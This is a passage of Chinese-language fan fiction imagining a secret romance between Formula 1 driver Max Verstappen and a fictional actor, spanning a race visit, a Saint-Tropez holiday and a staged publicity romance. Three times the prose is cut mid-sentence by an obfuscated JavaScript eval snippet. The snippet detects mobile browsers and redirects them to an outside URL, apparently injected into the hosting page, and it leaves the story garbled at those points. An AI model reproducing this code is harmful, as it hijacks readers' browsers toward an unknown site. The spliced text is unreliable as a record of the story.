麦克斯在属于林利的温存中沉沉降落，任由那些未尽的余震在无声的亲昵里，一点点平息为清晨到来前最安稳的呼吸。 8. 防熄火程序 “Cut! Print!”萨姆·门德斯标志性的指令穿透片场。 绞肉机般繁忙的战场松懈下来。林利没有急着起身，依然靠在断裂的木桩旁，身体软绵绵地陷进潮湿的稻草与泥地里。为了模拟失血过多的状态，他维持了长时间的浅层呼吸，此时肺部猛然吸入一口冷硬的空气，带得胸腔生疼。 林利闭上眼，静静地听着自己胸腔里缓慢的心跳一点点复苏，轻声对那个永远留在1917年的灵魂说了声再见。 “林？嘿，兄弟，快起来。”乔治用力拽了拽他。 林利这才长长地吐出一口气，肌肉缓缓放松。他撑着地坐起来，抬手抹了一把脸，脸颊上黏糊糊的假血已经快要干结。 萨姆·门德斯踩着泥地走过来，厚重的皮鞋停在林利视线前方，眼里止不住地赞赏：“非常精彩，林利。”他拍了拍林利的肩膀，“这一组镜头会成为经典的。好了，快去洗洗吧。” “谢谢，萨姆。”林利嘴角抿出一个弧度。他拖着沉重的羊毛军装，慢吞吞地走过忙碌的场务和巨大的灯阵，一步步重新返回2019年。 热水澡冲去了满身狼狈，林利正擦着头发，桌上的手机突然传来震动，【来自Tom Holland】几个字疯狂闪烁。 “林！救救我——”汤姆·赫兰德的声音听起来快要崩溃了，“我发誓，如果再让我回答一次‘托尼死后你感觉如何’，我真的会当场表演一个原地消失！” “宣传、宣传，还是宣传，没完没了，我都快忘记手柄长什么样了。”汤姆抱怨着，“求你了，林。这周日我终于能喘口气，我们出来玩一趟好吗？” 林利笑出声：“周日……我好像没有安排。不过玩什么？别告诉我是去你家玩《堡垒之夜》。” 汤姆神神秘秘地回答：“怎么会？你知道的，最近是宣传期，红牛的人邀请我去奥地利看比赛，就在这周末。”他急切地拔高声音，“F1很有趣的，我们可以去P房转一转。怎么样，就当陪我？” 林利拿着毛巾的手顿了一下。 奥地利，红牛环，麦克斯·维斯塔潘。 这几个词像是一股细小的电流，让他感到一种没来由的茫然。他有点不确定这是不是一个好主意，毕竟他们还从没有在公众场合碰过面，哪怕是以这种“参观者”的身份。 “林，林？”汤姆的声音再次传过来，“我们还可以近距离看看那些赛车，听听引擎的声音。相信我，这特别酷。” “好吧，既然你都这样说了。”林利垂下眼睑，手指无意识地摩挲。他暗示自己，这没什么，只是杀青后正常的放松，更何况他是陪汤姆去的。“周日见。”他妥协地投降。 …… 奥地利大奖赛，红牛环。 这条赛道坐落在阿尔卑斯山的怀抱之中。此刻，漫山遍野的橙色正如潮水般翻涌。 “嘿，看那边！全是橙色的！”汤姆指着远处那些被荷兰车迷占领的看台，“不愧是维斯塔潘的地盘，我几乎没看到别的颜色。” 很难不注意到这片张扬的色彩。林利望过去，麦克斯自信的笑容在脑海一闪而过。 “这边请。”红牛的公关人员按了按耳机的接收器，示意两人避开地上横跨的电缆。这里是整个P房的心脏，两台RB15静悄悄地停在两边，等待被唤醒。皮埃尔·加斯利和麦克斯正站在几步远的地方，低头和各自工程师小声对话。 “麦克斯，皮埃尔。”公关拍了拍手，“打扰几分钟。这两位是今天受邀参观的嘉宾，汤姆·赫兰德和林利·福斯特。” 两位车手同时抬起了头。 加斯利率先露出了笑容。他摘下半边耳机，大步走上前和汤姆握手：“嘿，汤姆，很高兴见到你。我是蜘蛛侠电影的忠实粉丝，不得不说，你表现得太棒了。”接着，他转向一旁的林利：“你好，林利。欢迎来到红牛，希望这里没让你觉得太吵。” “谢谢你，皮埃尔，这里很震撼。”林利微笑着回应，视线保持看向对面。 “很高兴你能来，汤姆。”麦克斯也放下了手中的电子设备走过来，和汤姆快速地打了个招呼，“感觉怎么样？还不错吧。” “我刚还盯着RB15看呢，它们太酷了。”汤姆笑着回应，“祝你今天好运，麦克斯。” “谢了。”麦克斯勾了下唇。 就在公关人员准备再次开口介绍林利时，麦克斯直接向前跨过半步，侧身对着林利，切断了他试图后退的动作。麦克斯直勾勾地看过来，主动伸出右手：“麦克斯·维斯塔潘。” 林利掌心微微出汗，一种莫名的心虚让他几乎想避开那道冰蓝色的视线。麦克斯表现得太理所当然了，好像他们真的是第一次见面。 “你好，林利·福斯特。”他故作镇定地伸出手。两人的手掌在冷光灯下短暂交握。麦克斯的手心滚烫，虎口处带着粗糙的薄茧，让他熟悉又陌生。 在握住林利的那一刻，麦克斯的力道突然加重，借着握手的姿势，隐秘地用拇指刮了刮。 他就知道！林利忍不住偷偷瞪了过去。 “我看过你的电影，林利。”麦克斯意味深长地说，“你的演技很好。” 可恶，麦克斯这时候说这些话是想暗示什么？ 林利僵硬地挤出一个假笑，不动声色地抽回手。 “好了，让我们去休息室坐坐吧。车手们要开始准备了。”公关人员的声音从旁边插进来，打破了两人之间的沉默。 麦克斯对汤姆和林利礼貌地一点头，转身重新戴上耳机，仿佛刚刚只是个错觉。 …… “他们看起来状态不错，对吧？”汤姆和林利并排走向休息室，顺手扯了扯领口，手里摆弄着印有红牛LOGO的鸭舌帽。 “还行吧。”林利有些敷衍地应了一声，低头看向自己的手掌。那里的温度还未散去，搅得他心里莫名生出一股焦躁。 休息室里的人不算多，正对着大直道的落地窗视野极佳。汤姆靠在吧台边，看着外面正在进行最后整备的发车位，突然放低声音凑过来：“不过，林。虽然我们在红牛的休息室。但是不得不说，同为英国人，我还是更欣赏刘易斯。你知道的，我和他关系不错。” 他转头指了指屏幕上正在做着暖胎圈的33号赛车，微微摇了下头：“维斯塔潘开车就有点……太直接了，有时候甚至有点过火，你懂我的意思。”他看向林利，热心地提议：“下次吧，下次有机会我介绍刘易斯给你认识，他在时尚和电影方面也很有想法，你们俩一定特别聊得来。” “我倒觉得维斯塔潘那样挺有意思的。”林利盯着屏幕里那抹深蓝色，反驳地解释：“他那是真的想赢，装都懒得装。” “好吧，这倒是没错，他确实是个狠角色。”汤姆耸耸肩，有些意外地打量了林利一眼，“真没看出来，你竟然会喜欢这种赛车风格。” 林利没接话，低头抿了一口气泡水。他盯着杯子里升腾的泡泡，暗暗地想：你看不出来的事情可不止这一件。 …… 五盏红灯熄灭。 引擎的轰鸣声震耳欲聋。 林利屏住呼吸，视野里全是弹射而出的赛车残影，可就在这一秒，他的心揪了起来。那台深蓝色的33号赛车在发车位上剧烈地颠簸了一下，车身诡异地沉了沉，像是被什么东西拽住了。 “天啊！维斯塔潘没动！”汤姆猛地往前凑了一步，鼻尖几乎贴到玻璃上，“他起步失误了！” 林利指尖死死抵住玻璃，眼睁睁看着一辆接一辆赛车从麦克斯身边呼啸而过。原本排在第二的33号，等通过一号弯时，已经掉到了第七。 “在红牛环发生这样的事。”汤姆摇了摇头，有些遗憾地坐回高脚凳，“我还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159554|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看刘易斯吧。” 第15圈 Max, Max, Max！画面里，33号车几乎是贴着防护墙完成了一次不讲道理的超越，强行吃掉了前方的哈斯。 林利紧张地往前挪了半步，视线在落地窗和显示屏之间来回切换，他看到那辆蓝色的赛车正在一点点撕碎原本已经形成的阵型。冰凉的冷凝水顺着指缝淌下，他却毫无觉察。 第50圈 “他追上汉密尔顿了。”林利喃喃道，目光离不开屏幕半分。 一旁的汤姆猛地站了起来，动作大得带歪了椅子：“这不合逻辑，他的轮胎状态不应该这么好！”看着画面里麦克斯在每个弯角都几乎要把路肩压碎的强势走线，汤姆紧皱眉头。 林利感到一阵生理性的眩晕。转播画面切到了麦克斯的车载镜头，视角随着头盔剧烈晃动，强烈的压迫感让他几乎忘记了呼吸。 麦克斯在直道末端直接切入内线，两辆赛车几乎并排进入弯角，轮胎摩擦带起的白烟在赛道上炸开。 直到看见那抹蓝色在出弯口率先弹出，他才猛地吐出一口长气，喉咙干涩得厉害。 第69圈 休息室里已经没有一个能安心坐着的人了。 “最后一圈了！他就在勒克莱尔身后！”汤姆扯着嗓子在林利耳边吼着。 三号弯。麦克斯没有任何犹豫，在最晚的刹车点猛然内切，两辆赛车在极速中发生了碰撞。“砰”的一声，16号赛车被这股力道直接挤到了赛道外的草坪上。 林利没有理会身边人的惊呼。他的心脏疯狂跳动，全身血液一下子涌上头部。 过了，真的让他过掉了。 当麦克斯第一个冲过终点线，在TR里激动地大喊“UNBELIEVABLE”时，林利才发现自己浑身都被冷汗浸透了。他脱力般地靠在窗边，甚至没力气跟着汤姆一起去讨论那个超车是否违规。 …… 伦敦，凌晨。 门锁轻响，麦克斯推门走了进来。他换了一件简单的短袖，眼里的兴奋劲还没完全消去。 “我还以为你睡了。”麦克斯径直向林利走来，低头捧起他的脸，结结实实地快速亲了一下。 “你都发了短信，我当然会等你。”林利仰头看他，感受着麦克斯指尖传来的力道，“我还以为你会更晚一点，没参加派对吗？” “派对就那样，待十分钟就腻了。”麦克斯撇了撇嘴，“我一下车就在人群里找你，结果你跟在那个蜘蛛侠后面跑得比谁都快。” “那是谁在P房里演得那么像，连握手都要重新自我介绍？”林利忍不住轻笑，“你总不能指望我当众抱你一下吧。” “但你来奥地利看比赛居然不提前告诉我，下午我就在想要怎么跟你算这笔账。”麦克斯有些不满地抱怨。 提到比赛，麦克斯的眼神重新变得专注，整个人都透着股狠劲：“起步那个失误，我当时在车里肺都要气炸了。我想，这下好了，你难得来一趟现场，我居然在起跑线上就哑火。我当时只有一个念头，就是得把丢掉的位置一个一个全都抢回来。” 林利看着他神采飞扬的样子，忍不住伸手顺了顺对方的头发：“我看到了。你最后那一下，汤姆在旁边差点把玻璃捏碎。他一直说你根本不讲规矩。” “规矩是留给慢车看的。”麦克斯没等林利回答，直接坐在他旁边，将整个人搂进怀里。“好不容易见次面，你就打算坐在这跟我聊别人怎么评价我？” “当然，我打算和你促膝长谈一整晚，”林利低声开着玩笑，亲昵地往后仰了仰头。他的后背抵着麦克斯结实的胸膛，能感受到对方由于兴奋而略显粗重的呼吸，一下下扑在后颈上。 “我很想你，林。”麦克斯亲了亲林利泛红的耳垂，“比我想象中还要想。” 他伸手碰熄了床边的小灯。 9. 并不存在的剧本 2019年的夏休期，麦克斯邀请林利一起前往法国圣特佩罗。 别墅是麦克斯提前半年就定下的，典型的南法风格，推开窗就是一片醉心的蔚蓝。 下午三点，下午的阳光被细碎的波浪折射进别墅，将室内昂贵的浅色地毯照得微微发白。 林利陷在窗边的胡桃木扶手椅里，膝盖上摊着几页剧本，他还没想好要去争取哪一部电影。阳光懒洋洋地洒在字迹上，晃得他眼晕。林利指尖在纸页边缘摩挲，打了个哈欠，在无所事事的宁静中闭上眼。 麦克斯从露台推门进来，没穿鞋，地板上留下一串潮湿水痕。他刚从泳池爬出来，支棱着的湿发还在往下滴水，整个人一派 松弛。麦克斯随手从冰箱里拿出两罐苏打水，单手扣开拉环，“哧”的一声，气泡炸开的声音显得格外清凉。 他把冰凉的另一罐直接贴在林利脸颊上，顺势靠在椅背。 “别看剧本了，林。”麦克斯仰头灌了一口苏打水，“斯坦刚才发过来消息，他们在沙滩那边烧烤，晚点上游艇。你也来吧？” 林利被寒气激得缩了缩脖子，下意识答道：“我不认识他们。” “去了不就认识了？”麦克斯理所当然地挑了下眉。他伸出手，指腹在林利颈侧的皮肤上蹭了蹭，这种动作他最近做得越来越顺手。“去吧，我们一直在这待着也挺无聊的。斯坦他们准备了不少东西，还有那种大功率的水上摩托。” “我觉得在这里就挺好的。”林利低声重复了一句。他其实给不出什么深刻的理由，只是下意识不想走出去。 “你该去晒晒太阳的，林。”麦克斯夺走他膝盖上的剧本，想要将林利拉起身。 “我不擅长这种场合，麦克斯。”林利试图把剧本拿回来。 麦克斯按住他的手，俯下身，下巴几乎蹭到林利的耳廓。他的呼吸带着淡淡的潮湿：“只是喝杯酒，吃点东西。而且你要是待着不舒服，我们就回来。” 林利看着他，麦克斯的眼神亮亮的，满怀希冀。面对这样的麦克斯，林利发现自己很难说出拒绝。 …… 游艇在海面上轻微晃动。 刚上船的时候，气氛比林利预想得要轻松得多。海风卷走了一下午的燥热，甲板上铺着厚实的软垫，伴随着轻快的音乐。麦克斯表现得极有耐心，始终让林利待在视线可及的范围内。 “拿好这个。”麦克斯塞过来一个白瓷圆盘，上面码着几块圆滚滚的奶油肉丸，淋着深色的酱汁。“我小时候最喜欢吃的。荷兰菜，别的地方可吃不到。” “谢了。”林利接过盘子，环顾四周。甲板上大约有七八个人，大多数和麦克斯年纪相仿。一个晒得黝黑的男人大步走过来，那是麦克斯的发小斯坦。 “嘿，麦克斯！再来一杯？”斯坦笑着撞了过来，手里拎着一瓶刚开塞的金汤力，酒液随着游艇的晃动在瓶口溢了几下。 麦克斯笑着挡了一下：“慢点，斯坦。我还没想好一会要不要骑一圈，别现在就把我灌醉了。” “少来这套，喝醉了你都能开。”斯坦撇撇嘴，眼神一转，落到了旁边的林利身上，“哇哦，你好！你就是麦克斯之前提到的——” 麦克斯侧过头，自然地收紧了搭在林利肩膀上的手：“林利，我的朋友。”他笑着介绍，随意地打趣，“他可是演电影的，斯坦。你要是想找人要签名，现在可以开始排队了。” “电影？好莱坞？”斯坦夸张地扬起眉毛，又重新打量了一遍林利，“难怪，麦克斯可从来没带过长得这么体面的朋友来。”他摸摸鼻子，“我是说，我还挺好奇你们怎么认识的，对吧？” “就是一次偶然。”林利礼貌地微笑回应。 “哈！偶然真好，敬偶然。”斯坦哈哈大笑，举起酒瓶碰了过来，转头看向另一边大喊，“瑞斯，别捣鼓那个发动机了！快过来见见大明星。” 随着更多人的加入，气氛越来越热闹。麦克斯被拉进了关于上一场大奖赛的技术讨论中，但他依然没松开揽着林利肩膀的手。 音乐突然切换到一首节拍强劲的舞曲，震得甲板微微发颤。 “我爱死这首歌了。”斯坦大喊着，在原地扭动起来，“麦克斯，来啊！” 麦克斯笑着摇摇头，最终抵不过四五个人连拉带拽的力量，被推到甲板中央。他跳得别扭极了，动作大而生硬，笨拙地转了两圈。 麦克斯在人群里乱跳了一阵，突然停下脚步，隔着几道人影锁定住林利。他像恶作剧得逞一样憋着笑，直直走过来，不由分说地扣住林利的手腕。 “我不会跳。”林利笑着往后躲，慌忙中放下酒杯。 “谁在乎？我也不会。”麦克斯稍微用力，将他整个人拽进舞动的人堆。 林利的矜持被搅得一点不剩。他被麦克斯带着乱转，两人完全不在一个节拍上。“你踩到我了，麦克斯！”林利费力地喊道，眼角笑出了几滴眼泪。 麦克斯更加大声地哈哈大笑，鼻尖冒出一层细汗。他干脆搂住林利肩膀，带着他左右摇晃，像一条在陆地翻滚的鱼。 没有剧本，没有镜头。在圣特佩罗的微风和酒精作用下，林利觉得自己也变得轻飘飘的，总是紧绷着的思绪终于飞了出去，散落在波光粼粼的海面上。 随着暮色渐浓，酒精彻底接管了甲板。 麦克斯跳累了，喘着气满头大汗地坐回林利身边。其他几个从小和麦克斯一起玩的朋友也围了过来。 话题逐渐逐渐让林利听着越来越费劲。 起初他们还在用英语调侃。但很快，几个小时候的笑话被抛出，酒精让舌头自动切回到最亲近的母语。 “Max, weet je nog die keer in Genk?” 第一个荷兰语音节蹦出来时，林利眼前的世界像是被按下了静音键。 麦克斯的肩膀依然贴着他，热热的温度隔着布料源源不断地传递过来。林利侧过头看去，麦克斯正用一种充满喉音、节奏感极强的语言大笑着。因为笑得太厉害，大半个身的重量都压了过来，手掌随意地撑在林利的腿面上。 亲密无间的氛围轻轻淡去。 瑞斯注意到了林利的沉默，用英语小声解释道：“他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159555|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他小时候和斯坦在卡丁车场捣乱的事。斯坦当时气得想把车拆了。” 林利怔忡着回过神，才反应过来瑞斯的好意。他牵动了一下嘴角：“听起来很有意思。” 可他的目光又不由自主回到麦克斯身上。麦克斯正手舞足蹈地比画某个进弯的动作，引得周围一片哄笑。林利像在看一场没有字幕的外语电影，他能看到麦克斯脸颊上兴奋的红晕，能听见麦克斯有些急促的发音，却唯独读不懂这个人。 一种巨大的茫然感像潮水一样没过胸前，带来缺氧般的无能为力。 麦克斯的朋友，麦克斯的过去，麦克斯的家庭——一切的一切都在无声提醒他，他只是麦克斯生活里的偶然过客，就像他们相遇一样。今晚他踏足这个不属于自己的圈子太深了，试图融入的努力让他感到窒息。 “麦克斯。”他轻声喊。 麦克斯正说得起劲，没有留意。 林利加重了力道，拽了拽麦克斯汗湿的胳膊。 麦克斯猛地回头，那双还没散去笑意的冰蓝色眼睛对上了林利的视线。 “怎么了？”麦克斯切换回英语，眼神带着一丝迷茫。 “我想回去了。”林利说。 麦克斯愣了一下，盯着林利看了看，察觉到他眼底饰不住的疲色。他没有再多问，起身对朋友们利落地打了个招呼，带着林利下了船。 回去的路上，夜色很静，只有轮胎碾过地面的声音。 麦克斯敲着方向盘，神情依然兴奋：“斯坦说你人不错，我看你们刚才处得挺好的。他们约了明天再去水上玩摩托，就是之前说的那种大功率的。我还没试过这边的海岸线……” 麦克斯规划着明天，理所当然的让林利本能地抗拒。 “麦克斯，我明天得走。”林利突然开口。 车头划过一个不太平稳的弧度。麦克斯偏过头皱起眉毛：“什么？我们不是说好要再待一阵子吗？” “洛杉矶那边有个临时的试镜机会，挺急的。”林利面不改色地编造着那个并不存在的剧本，声音冷静，“经纪人发的邮件，我得飞过去。” 麦克斯握着方向盘的手指节泛白，“这么突然？” “我也是刚看到。” 麦克斯沉默了，眼底原本跳动着的光黯淡下来，“我是说……去多久呢？你还回来吗？” 林利看向窗外飞速后退的灯影，避开了那双太直白的眼睛，“可能没时间了，得开始为角色准备……你知道的。” 车内的空气彻底凝固。 回到别墅，麦克斯什么也没说，径直走进了浴室。哗啦啦的水声在空旷的房间里回荡。 林利翻找出行李箱，一件件把行李收拾得整整齐齐。他在机械的重复动作中，找到了一丝属于自己的安稳。 这没什么，他对自己说。他只是需要降降温，需要退后一步，退回到安全的避风港。 凌晨五点，他在桌上留下一张便笺： 【先走了，假期愉快。】 林利拉着行李箱走出大门，清晨圣特佩罗的风带有些许咸涩的凉意，吹乱了他的黑发。 10. 公关假象 林利站在西好莱坞酒店的露台上，看着脚下日落大道上川流不息的灯火。 他来洛杉矶已经三天了。 原本对麦克斯脱口而出的“临时试镜”只是惊慌失措下随便拽来的借口，落地洛杉矶的那一刻，他却急迫地催促起斯科特。 他不停地给经纪人发邮件、打电话，要求对方立刻给他手头上所有的剧本和选角面试，哪怕是那些他以前不会考虑的客串角色。 他需要这种密不透风的行程来忘掉圣特佩罗发生的一切，以及那个让他感到恐惧的、过于真实的麦克斯。 这三天里，时差让他变得极度迟钝。他常在凌晨猛然惊醒，下意识摸向床的另一侧，指尖扫过的地方却永远只有冰冷的床单。 手机被他扔在沙发深处。他不敢看，却又总是在路过沙发时无意识地放慢脚步。他清楚地记得那张便笺上的每一个字，也清楚那意味着什么——他抛下了麦克斯。 “你看起来状态真糟糕，林。”斯科特推门进来，把一杯满是冰块的咖啡放在他手边。 林利接过咖啡，揉了揉发胀的眼眶，扭头看向日落大道尽头的一块巨大广告牌上，视线无法聚焦：“我只想尽快进组。之前说的剧本有消息了吗？” “那个本子质量还是不太够，但我这里有个别的机会。”斯科特靠在围栏边，试探着打量林利的侧脸：“弗洛伦斯·皮尤的经纪人联系过我。她参演的格雷塔那部《小妇人》快上了，压力很大。他们团队想通过一些额外的社交曝光来吸引媒体，点名想找你帮忙。” 林利皱起眉，不解地看向斯科特：“找我干什么？” “‘好莱坞英伦新星’，这种戏码大众永远买账。”斯科特观察着他的反应，“他们提议在Catch LA见个面，然后顺便被拍到一起去吃个汉堡，只要照片里的眼神看起来有那么点火花就够了。” 他摊了摊手，“林，你需要拓宽戏路，这种曝光对你来说不是负担，而且也能扩大知名度。相信我，皮尤挺有意思的，她不会让你尴尬。” 林利沉默了。的确，他这几天心乱如麻，憋闷得找不到出口。可是公关绯闻？如果全世界都相信他正和弗洛伦斯约会，那么圣特佩罗的一切就真的会变成幻觉吗？他想让它变成幻觉吗？ 可是他没有别的办法了，他不知道还能怎么做。 就让他穿上这层厚厚的皮囊吧，让他躲进去，暂时逃离所有。 “……好。”林利闭上眼，声音轻得几乎听不见，“听你安排。” …… Catch LA 的入口处是一条被绿植和繁花簇拥的长廊。这里是好莱坞公开的秘密，每一个走进这里的明星都清楚，长廊尽头等待他们的除了酒精，还有那些伺机而动的快门。 林利到的时候，弗洛伦斯正坐在露台最显眼的卡座里。她穿着一件松垮的黑色吊带裙，金发随意地抓成一个髻。看到林利穿过长廊，她露出一个熟稔的笑容。 “嗨，林利。”她抬起下巴示意对面的位置，“坐吧，别表现得这么严肃。我想你应该有所准备？” “差不多。”林利坐下来，不太适应地动了动腿，“我还没有这种……体验？”他耸了耸肩，“不过能在这里见到你还是很高兴。” “我也是，在这里想找个能说人话的英国老乡太难了。”弗洛伦斯翻了个白眼，把一盘刚上桌的寿司卷推到他面前，“昨天我参加一个派对，居然有个制片人问我愿不愿意去参加他的‘灵性排毒营’。他盯着我的眼睛说，我的能量场需要被重新清洗。天啊，我真是不知道该怎么吐槽。” “你应该直接告诉他，你最有效的排毒方式是回伦敦喝一顿大酒，接着睡上十二个小时。”林利拿过湿毛巾擦了擦手，紧绷的肩膀稍微放松了些，“这在好莱坞大概会被当成某种异端邪说。” “你说得对。”弗洛伦斯笑了起来，“要是让他们知道我昨晚还偷偷吃了一整盘炸鸡，他们大概会直接吊销我的试镜资格。” 林利跟着轻笑出声，弗洛伦斯的坦荡和幽默让这里的氛围自然很多，也减轻了周遭那种刻意的窥探感。 “乔治最近怎么样？”林利拆开筷子，“来洛杉矶前我给他发过消息，他隔了一天才回，听起来在片场跑得快断气了。” “他？他现在只想快点躺平。”弗洛伦斯眨了眨眼，“前两天他还在念叨你，说你这一消失就彻底没了音讯，他以为你又去‘闭关’了。” “我只是找了个地方放松一下。”林利含糊地应道，控制不住地又想起圣特佩罗。那个人的身影怎么也散不去，让他即便坐在这里也觉得局促。 “说真的，林利。”弗洛伦斯托着下巴看着他，灰绿色的眼睛在昏暗的灯光下显得很透彻，“今晚你没必要给自己那么大压力。‘热恋’中的人偶尔出神也是可以被原谅的。” 林利的手顿了顿：“我只是还没从假期调整过来。”他随即生硬地转开话题，问起对方的拍摄近况。 他们聊得很愉快，从伦敦总是湿漉漉的星期天聊到洛杉矶带着防晒霜味的干燥阳光，再到合作过的几个演员。这一晚的交谈卸下了林利的负担，熟悉的、安全的氛围有那么一瞬间真的让他觉得自己回到了既定轨道上。 走出餐厅时，快门声密集起来。林利极其自然地挡在弗洛伦斯侧后方，把所有的闪光灯挡在视线之外。他脱下外套搭在她的肩头，微微低下头听她说话。他表现得很专业，眼神温柔得连自己都要信了。 …… 绯闻在次日清晨准时爆发。 #LinleyFoster #FlorencePugh #SecretDate 词条席卷了社交平台。 照片里的两人神色轻松，肢体动作透着亲昵。他们看起来就像一对在繁重工作之余，沉溺于深夜密会的亲密伴侣。 林利没有开灯，蜷缩在酒店沙发里。 手机在茶几上猛烈地跳动着，名字是熟悉的【来自Emily】。 林利盯着屏幕，手心渗出了细密的汗，他不想接。 紧接着是第二个、第三个。 麦克斯…… 林利攥紧沙发。他甚至能想象出对方现在的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159556|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这一分钟，他有种强烈的冲动想要接起电话，想要解释这只是一场该死的公关，想要亲口告诉他这一切都是假的，或者仅仅是想听一听他沙哑的声音。 但然后呢？ 承认他是因为害怕才逃走的吗？他自己都解释不清为什么会害怕。 那他为什么会逃走？ 震动停了，消息提示音接连响起。林利颤抖着划开屏幕，冷光刺得他眯起眼。 【Emily：演得真不错。】 还没等他喘过气，下一条消息又砸进来。 【Emily：这就是你急着要回去拍的紧急试镜？我还以为你至少会编一个像样点的理由。看起来好莱坞确实是个好地方，能教你怎么在镜头前一秒钟变脸。】 文字里带着一股灼人的恼羞，林利甚至能听见麦克斯咆哮时的粗重呼吸。 接着，手机又连着响了好几声。 【Emily：你在圣特佩罗也是这么演的吗？林利，我根本分不清你什么时候是在演戏，什么时候是在生活。】 【Emily：不想和我待在一起，你可以直接说。】 【Emily：你觉得我很可笑吗？】 间隔了整整一分钟，屏幕又重新亮起。 【Emily：我有哪里做得不对？我惹你不高兴了？】 【Emily：不高兴了你也应该直接说出来！】 手机在一片寂静中又响了一下。 林利没有再点开。他保持着那个蜷缩的姿势，知道自己不能再有任何动作。 “咚咚。” 两声短促的敲门声打破了死寂。 “还没起？”斯科特推门而入，顺手拉开窗帘，“你该看看今早的数据，《Variety》和《好莱坞报道》都转发了。社交媒体上的讨论度比预想中还要高。”斯科特低头滑动着平板电脑，志得意满，“弗洛伦斯那边也很满意，提议你们之间可以考虑再发展一下。” 林利没有回头，他维持着那个姿势，声音显得很虚弱：“照片拍得够漂亮了，斯科特。” “确实，但是还不够。”斯科特走到他面前，微微低头审视着他，“林，别摆出这种表情。今天早上已经有两部爱情片的剧本递过来了，这才过去了一个晚上而已。” 他用力拍了拍林利，鼓励道：“我们要承认，这是成功的一次合作，这就是你的敲门砖。美国人就喜欢这些‘金童玉女’的故事，哪怕主角是两个外国人。” 林利终于转过脸。他看着斯科特脸上兴奋的神情，闭了闭眼，自欺欺人地回答：“我知道了。” 斯科特又交代了几句通告细节才离开。 林利伸手拿起了床头柜上那叠厚厚的、刚送来的新剧本。他强迫自己去看那些密密麻麻的字迹，试图用这些谎言来掩盖脑海里那个不断闪烁的名字。 手机再也没有响过，麦克斯大概已经彻底失望了。 林利盯着剧本上的黑体标题，缓缓吐出一口气。 他成功了，他亲手拆断了两人的连接，让他们回到了最安全的距离。 11. 赛季末的红旗 2019年的阿布扎比大奖赛在漫天炸开的礼花中落下帷幕。 麦克斯回到摩纳哥的公寓时，门厅堆着几只没拆的快递箱，他差点当成一堆垃圾丢了。随手拎起来才发现是一个多月前下的单，现在看起来倒像是一堆被时间遗忘的破烂。 麦克斯给自己倒了杯冰水，视线在摇晃的波纹里散开。这一年过得太快，三次分站冠军、年终季军，每一项数据都稳步攀升，但他心里总觉得飘得厉害。 他在空荡的房间中央站了一会。八月在圣特佩罗的那几天，阳光烈得让他失了分寸。那时候脑子里根本没装什么念头，邀请林利和他一起就是全部的直觉了。 待了几天要提前走？有点失落但还能接受。 直到后来的那个清晨，社交平台上疯狂推送林利和另一个金发女人亲昵的照片，画面里林利的眼神深情又温柔。那是麦克斯最熟悉的眼神，却不是对着他。 那种羞愤和怨怒至今还压在心头，只是想起那张照片就让他气血上翻，心底钝钝地疼。林利不仅骗了他，还不肯给出任何解释。电话不接、消息不回，原来人和人之间失去联系如此简单。 他像赛车失去所有抓地力一样，感到一种失控的、荒芜的不安。 …… 午夜，蒙特卡罗，Jimmy’s 酒吧。 重低音混着不流通的空气，让周遭显得昏暗浑浊。麦克斯一个人陷在卡座深处，面前错落摆着几只空瓶。 “麦克斯！怎么一个人躲在这？”一个脸熟的男人端着酒杯挤了过来，挂着讨好的笑容，“你今年表现可真不错，我从一开始就坚定支持你。” 麦克斯抬了下眼皮。这一周里，这种或真或假的祝贺听得他耳朵都快起茧。 “谢谢。”麦克斯的声音有些生硬。 “别这么严肃嘛，大家都等着你拿冠军呢。”那人还没打算走，往前凑了凑，盯着酒瓶低呼：“哇哦，你一个人喝了这么多？” 麦克斯没答话。口袋里的手机好像震动了一下。他几乎是下意识地掏出来看，屏幕亮起，又是一条无关痛痒的贺电。 他自嘲地扯了扯嘴角，拇指用力顶着手机壳的边缘，感到一阵索然无味。 “麦克斯？你还好吗？”对方终于察觉到他的心不在焉，“你在等人吗？” “没等。”麦克斯推开杯子站起身，“我走了。” 他穿过拥挤的人群和晃眼的射灯，推开沉重的大门。外面的冷风钻进嗓子里，让他清醒得发苦。 …… 周一下午，摩纳哥公寓。 麦克斯靠在餐桌旁，对着一份冷透的披萨发呆。 门口传来几声响动，苏菲打开门进了屋。她直直走进来，猛地扯开所有紧闭的百叶窗。冬日冷硬的阳光一下子全撞进来，刺得他下意识地抬手挡了一下。 “麦克斯，你这里闻起来像个发霉的地窖。”苏菲转过身，双手插兜，严肃地打量着眼前灰扑扑的儿子，“维多利亚说你已经好几天没回她消息了，你打算在这坐到明年开赛？” 